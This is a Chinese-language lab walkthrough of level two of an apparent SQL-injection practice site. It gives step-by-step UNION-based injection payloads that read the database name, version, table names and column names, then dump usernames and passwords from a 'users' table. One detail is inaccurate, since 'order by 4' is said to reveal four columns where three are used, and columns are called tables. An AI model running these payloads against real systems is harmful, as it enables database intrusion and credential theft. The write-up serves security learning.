第二关如下:
查看页面与第一关差不多的样子,再查看PHP源码,与第一关差不多只是其中的查询处有不同。(查看源码是为了更好的判断出该页面有什么漏洞)其中没有单引号所以不用添加单引号去闭合去逃离单引号,说明第二关和第一关还是有些不同之处在这。只是步骤与第一关相同。
输入?id=1来进行一个传参id=1
然后进行一个联合查询。?id=-1 union select 1,2,3 --+
使用order by 1到order by 4发现order by 4时查看到列数只有四个。
接着查看它的数据库名字和版本号在实战中就可以用以在网上查找该版本相应的漏洞之类的。?id=-1 union select 1,database(),version()--+,查看到数据库名为security,版本为5.7.26.
再查找出在MySQL自带库information_schema中存在的table表(表名)则通过?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+查询出表名。
或者输入?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+。其效果也是一样
然后我们继续深入查看users这张表,输入?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+。发现其中包含有username和password这两张我们的最终目的表。
最后查询这两张表中的数据拿到我们想要的用户名和密码,输入?id=-1 union select 1,username,password from users where id=2 --+
以上就是第二关的内容了